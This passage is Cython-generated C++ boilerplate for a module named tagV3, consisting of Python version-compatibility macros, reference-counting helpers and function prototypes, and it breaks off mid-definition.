0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #endif #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_ERR(f_index, lineno, Ln_error) \ { \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ } #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #endif #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__tagV3 #define __PYX_HAVE_API__tagV3 #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #ifdef PYREX_WITHOUT_ASSERTIONS #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) && defined (_M_X64) #define __Pyx_sst_abs(value) _abs64(value) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyObject_AsSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) #if PY_MAJOR_VERSION < 3 static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #else #define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen #endif #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static PyObject *__pyx_m; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "tagV3.py", }; /*--- Type declarations ---*/ /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define __Pyx_RefNannyFinishContext()\ __Pyx_RefNanny->FinishContext(&__pyx_refnanny) #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__) #define __Pyx_XINCREF(r) do { if((r) != NULL) {__Pyx_INCREF(r); }} while(0) #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r); }} while(0) #define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r); }} while(0) #define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);}} while(0) #else #define __Pyx_RefNannyDeclarations #define __Pyx_RefNannySetupContext(name, acquire_gil) #define __Pyx_RefNannyFinishContext() #define __Pyx_INCREF(r) Py_INCREF(r) #define __Pyx_DECREF(r) Py_DECREF(r) #define __Pyx_GOTREF(r) #define __Pyx_GIVEREF(r) #define __Pyx_XINCREF(r) Py_XINCREF(r) #define __Pyx_XDECREF(r) Py_XDECREF(r) #define __Pyx_XGOTREF(r) #define __Pyx_XGIVEREF(r) #endif #define __Pyx_XDECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_XDECREF(tmp);\ } while (0) #define __Pyx_DECREF_SET(r, v) do {\ PyObject *tmp = (PyObject *) r;\ r = v; __Pyx_DECREF(tmp);\ } while (0) #define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) #define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) /* PyObjectGetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_getattro)) return tp->tp_getattro(obj, attr_name); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_getattr)) return tp->tp_getattr(obj, PyString_AS_STRING(attr_name)); #endif return PyObject_GetAttr(obj, attr_name); } #else #define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) #endif /* GetBuiltinName.proto */ static PyObject *__Pyx_GetBuiltinName(PyObject *name); /* RaiseDoubleKeywords.proto */ static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); /* ParseKeywords.proto */ static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject **argnames[],\ PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args,\ const char* function_name); /* RaiseArgTupleInvalid.proto */ static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); /* PyObjectSetAttrStr.proto */ #if CYTHON_USE_TYPE_SLOTS #define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o,n,NULL) static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value) { PyTypeObject* tp = Py_TYPE(obj); if (likely(tp->tp_setattro)) return tp->tp_setattro(obj, attr_name, value); #if PY_MAJOR_VERSION < 3 if (likely(tp->tp_setattr)) return tp->tp_setattr(obj, PyString_AS_STRING(attr_name), value); #endif return PyObject_SetAttr(obj, attr_name, value); } #else #define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) #define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) #endif /* SliceObject.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_GetSlice( PyObject* obj, Py_ssize_t cstart, Py_ssize_t cstop, PyObject** py_start, PyObject** py_stop, PyObject** py_slice, int has_cstart, int has_cstop, int wraparound); /* IncludeStringH.proto */ #include <string.h> /* BytesEquals.proto */ static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); /* UnicodeEquals.proto */ static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); /* PyCFunctionFastCall.proto */ #if CYTHON_FAST_PYCCALL static CYTHON_INLINE PyObject *__Pyx_PyCFunction_FastCall(PyObject *func, PyObject **args, Py_ssize_t nargs); #else #define __Pyx_PyCFunction_FastCall(func, args, nargs) (assert(0), NULL) #endif /* PyFunctionFastCall.proto */ #if CYTHON_FAST_PYCALL #define __Pyx_PyFunction_FastCall(func, args, nargs)\ __Pyx_PyFunction_FastCallDict((func), (args), (nargs), NULL) #if 1 || PY_VERSION_HEX < 0x030600B1 static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs); #else #define __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs) _PyFunction_FastCallDict(func, args, nargs, kwargs) #endif #endif /* PyObjectCall.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw); #else #define __Pyx_PyObject_Call(func, arg, kw) PyObject_Call(func, arg, kw) #endif /* PyObjectCallMethO.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg); #endif /* PyObjectCallOneArg.proto */ static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg); /* PyObjectCallNoArg.proto */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func); #else #define __Pyx_PyObject_CallNoArg(func) __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL) #endif /* GetItemIntByteArray.proto */ #define 